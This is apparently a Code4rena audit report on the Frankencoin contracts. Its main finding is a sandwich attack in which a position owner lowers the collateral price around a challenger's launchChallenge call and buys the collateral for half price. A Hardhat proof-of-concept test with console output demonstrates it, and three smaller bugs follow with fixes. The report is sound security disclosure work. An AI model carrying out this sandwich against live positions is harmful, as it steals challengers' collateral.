Frankencoin - mov's results

Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L140

Vulnerability details

Impact

The current implementation allows a Position owner to potentially "rekt" any challenger via a simple sandwich attack. In the typical happy flow a challenger calls the launchChallenge function and provides a certain amount of collateral. Once a challenge is launched and collateral is moved from challenger into the minting hub contract, most aspects of the Position contract become immutable. At this point different actors can post bids to "buy off" the collateral using their ZCHF tokens given the price set in the position. If a bidder buys the collateral with the proper price then the challenge is "averted". The current system design allows the owner of the position to decrease the price in ZCHF of the collateral. Increasing the price incurs a cooldown period since that would allow them to mint more ZCHF tokens, but this doesn't happen when decreasing the price. Thus when the owner of a position discovers a launchChallenge TX in the mempool against their position they are incentivized to sandwich the challenger with the following bundle: 1. Owner of position sends an adjustPrice TX cutting the price in half (or even worse) 2. Challenger's original launchChallenge TX 3. Owner of position sends a bid TX with half the amount of the ZCHF tokens that the challenger would have expected, averting the challenge and collecting the challenger's collateral for half the price.

The position owner is able to steal a significant portion of a challenger's collateral.

Proof of Concept

To avert a challenge a bidder must send an amount of ZCHF tokens (_bidAmountZCHF) such that: _bidAmountZCHF * ONE_DEC18 >= price * _collateralAmount where _collateralAmount is the size of the challenge according to this line: https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L307 Also notice that to decrease the price of the collateral, no cooldown is required: https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L159

It is simple to simulate the sandwich attack and see its consequences with a simple manipulation of the PositionTests file and specifically the test in this line: https://github.com/code-423n4/2023-04-frankencoin/blob/main/test/PositionTests.ts#L204

Replace the code of this test with the following code:

it("send challenge", async () => {
            challengeAmount = initialCollateralClone/2;
            let fchallengeAmount = floatToDec18(challengeAmount);
            await mockVOL.connect(accounts[0]).approve(mintingHubContract.address, fchallengeAmount);
            let price = dec18ToFloat(await clonePositionContract.price());
            console.log('Original price: ', price)
            let divider = 2;
            console.log('-------------------------------')
            console.log('ZCHF Balance of challenger: ', dec18ToFloat(await ZCHFContract.balanceOf(accounts[0].address)))
            console.log('Token Balance of challenger: ', dec18ToFloat(await mockVOL.balanceOf(accounts[0].address)))
            console.log('ZCHF Balance of owner: ', dec18ToFloat(await ZCHFContract.balanceOf(accounts[1].address)))
            console.log('Token Balance of owner: ', dec18ToFloat(await mockVOL.balanceOf(accounts[1].address)))
            console.log('-------------------------------')
            await clonePositionContract.connect(accounts[1]).adjustPrice((await clonePositionContract.price()).mul(1).div(divider)); // <-- first TX of the sandwich bundle, the position owner cuts the price in half
            let tx = await mintingHubContract.connect(accounts[0]).launchChallenge(clonePositionAddr, fchallengeAmount); // <-- The original TX
            await expect(tx).to.emit(mintingHubContract, "ChallengeStarted");
            await mintingHubContract.connect(accounts[1]).bid(0, fchallengeAmount.mul(price).div(divider), fchallengeAmount); // <-- The position owner immediately bids half the amount of ZCHF tokens and gets all the collateral
            
            console.log('-------------------------------')
            console.log('ZCHF Balance of challenger: ', dec18ToFloat(await ZCHFContract.balanceOf(accounts[0].address)))
            console.log('Token Balance of challenger: ', dec18ToFloat(await mockVOL.balanceOf(accounts[0].address)))
            console.log('ZCHF Balance of owner: ', dec18ToFloat(await ZCHFContract.balanceOf(accounts[1].address)))
            console.log('Token Balance of owner: ', dec18ToFloat(await mockVOL.balanceOf(accounts[1].address)))
            console.log('-------------------------------')
        });

Notice that I added two new TXs surrounding the original launchChallenge call. One adjusting the price (dividing it by divider) and the other bidding after the launchChallenge with a smaller amount of ZCHF.

The original price of the collateral was 25 ZCHF per unit of collateral, thus the required amount of ZCHF to bid and avert this challenge is 50 ZCHF, because there are two units of collateral. However in this test the position owner cuts the price of the collateral by 2 and thus is only required to pay half of the ZCHF tokens whilst getting all the collateral. This can be seen by the console logs:

Original price:  25
-------------------------------
ZCHF Balance of challenger:  25900
Token Balance of challenger:  499982
ZCHF Balance of owner:  21999
Token Balance of owner:  8
-------------------------------
-------------------------------
ZCHF Balance of challenger:  25925
Token Balance of challenger:  499980
ZCHF Balance of owner:  21974
Token Balance of owner:  10
-------------------------------

Notice the owner only payed 25 ZCHF for the 2 units of collateral. If we run the test with divider = 1 then we can see the way the challenge aversion would work in an ideal world without malicious position owners who can manipulate the price:

Original price:  25
-------------------------------
ZCHF Balance of challenger:  25900
Token Balance of challenger:  499982
ZCHF Balance of owner:  21999
Token Balance of owner:  8
-------------------------------
-------------------------------
ZCHF Balance of challenger:  25950
Token Balance of challenger:  499980
ZCHF Balance of owner:  21949
Token Balance of owner:  10
-------------------------------

Notice 50 ZCHF were payed for the 2 units of collateral.

Tools Used

Simulated this using the existing unit tests, ran it with npx hardhat test.

Recommended Mitigation Steps

Similar to the way the "split challenge" front running issue was mitigated in the bid function. launchChallenge should receive an expectedPrice parameter so that the challenger could initiate a challenge with the expected collateral price. Alternatively decreasing the price could also incur a short cooldown period which would eliminate the option of sandwiching a challenge launch.

** There's a bug in the function restructureCapTable in the Equity contract here: https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Equity.sol#L309. The function receives an array addressesToWipe and should iterate over it and burn the balances of the addresses in it. However there's a bug and the iteration variable i is not used in the loop, instead only the first element of the array is used as can be seen in this line: address current = addressesToWipe[0]; I don't believe this is a critical bug because it can be mitigated in "production" by calling this function multiple times, each time with an array of size one with a different address. This however could be a costly and lengthy process.

** According to the documentation - https://docs.frankencoin.com/positions/open there should be a seven day cooldown period when creating a position. However there is a public openPosition function here: https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L88 which allows users to set an arbitrary amount in _initPeriodSeconds parameter. This parameter is later checked in the Position constructor, but the check is for three days which doesn't match the documentation.

** It is possible to continuously bump the bid end time and postpone the challenge forever, in contrast with what the comments suggest here: https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L218. The bid doesn't necessarily have to "double" every two days. If a challenge doesn't have any bids with a bid size over 0, then it is possible to keep bidding a _bidAmountZCHF = 0 bid. In this line: https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L216 the bid amount is tested but if there are no previous bids or previous bids were 0, then this condition won't apply and the call will not be reverted. Instead, if we are close to the end of the challenge, this will bump the challenge end time. This will allow a malicious actor (the position owner for example) to continuously bump the challenge and not let it end. The challenger could mitigate this by generating a small bid but there is probably no nice GUI for this and only a sophisticated challenger will be able to understand why their challenge isn't ending, plus their bid to unlock the process will require a small fee. Effectively this means that most position owners are in danger of having their position frozen and challengers are in danger of having their challenge not end for a long time until a sophisticated white hat could figure out what's happening and unlock their position with a small bid. To mitigate this I suggest not allowing bids with zero value. I don't believe there's any case for allowing those in the system anyways.